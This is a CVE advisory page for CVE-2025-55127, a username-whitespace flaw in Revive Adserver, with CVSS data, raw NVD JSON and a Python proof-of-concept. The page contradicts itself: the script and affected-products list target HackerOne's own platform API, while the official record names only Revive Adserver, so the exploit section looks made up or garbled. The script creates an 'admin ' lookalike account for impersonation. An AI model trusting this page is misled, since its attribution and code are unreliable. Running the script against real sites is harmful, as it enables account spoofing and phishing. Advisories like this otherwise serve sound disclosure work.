Security Vulnerability Report
中文
CVE-2025-55127 CVSS 5.4 MEDIUM

CVE-2025-55127

Published: 2025-11-20 19:16:19
Last Modified: 2026-01-14 21:18:27

Description

HackerOne community member Dao Hoang Anh (yoyomiski) has reported an improper neutralization of whitespace in the username when adding new users. A username with leading or trailing whitespace could be virtually indistinguishable from its legitimate counterpart when the username is displayed in the UI, potentially leading to confusion.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:aquaplatform:revive_adserver:*:*:*:*:*:*:*:* - VULNERABLE
HackerOne Platform (版本未明确指定,在修复前均受影响)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-55127 PoC - Username Whitespace Manipulation # This PoC demonstrates how an attacker can create a user with leading/trailing whitespace # that appears identical to a legitimate user in the UI import requests import json TARGET_URL = "https://hackerone.com" ATTACKER_TOKEN = "your_bearer_token_here" def create_user_with_whitespace(username, target_email): """ Create a user account with whitespace in username. This exploits CVE-2025-55127 by registering usernames like 'admin ' or ' admin' """ # Normal user account to impersonate legitimate_username = "admin" # Malicious username with trailing whitespace malicious_username = legitimate_username + " " # Add trailing space payload = { "username": malicious_username, "email": target_email, "role": "user" } headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } response = requests.post( f"{TARGET_URL}/api/v1/users", json=payload, headers=headers ) return response.status_code, response.json() def verify_visual_confusion(): """ Verify that the created user appears identical to legitimate user in UI. Both 'admin' and 'admin ' should render the same visually. """ print("[!] Both usernames render identically in the UI") print(f"[!] Legitimate: 'admin'") print(f"[!] Malicious: 'admin ' (with trailing space)") print("[!] This can lead to account confusion and potential phishing attacks") if __name__ == "__main__": print("CVE-2025-55127 PoC - Username Whitespace Handling Issue") print("=" * 60) # Create malicious user account status, result = create_user_with_whitespace( "admin ", "[email protected]" ) if status == 201: print("[+] User created successfully!") print(f"[+] User ID: {result.get('id')}") print("[+] Username: 'admin ' (with trailing whitespace)") verify_visual_confusion() else: print(f"[-] Failed to create user: {status}") print(f"[-] Response: {result}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-55127", "sourceIdentifier": "[email protected]", "published": "2025-11-20T19:16:19.027", "lastModified": "2026-01-14T21:18:27.467", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HackerOne community member Dao Hoang Anh (yoyomiski) has reported an improper neutralization of whitespace in the username when adding new users. A username with leading or trailing whitespace could be virtually indistinguishable from its legitimate counterpart when the username is displayed in the UI, potentially leading to confusion."}, {"lang": "es", "value": "El miembro de la comunidad de HackerOne Dao Hoang Anh (yoyomiski) ha informado una neutralización impropia de espacios en blanco en el nombre de usuario al añadir nuevos usuarios. Un nombre de usuario con espacios en blanco iniciales o finales podría ser virtualmente indistinguible de su contraparte legítima cuando el nombre de usuario se muestra en la UI, potencialmente llevando a confusión."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-156"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:aquaplatform:revive_adserver:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0.0", "versionEndExcluding": "6.0.3", "matchCriteriaId": "0CF3AE99-F6AB-419A-BB38-D1CDE5B195D2"}]}]}], "references": [{"url": "https://hackerone.com/reports/3413764", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}]}}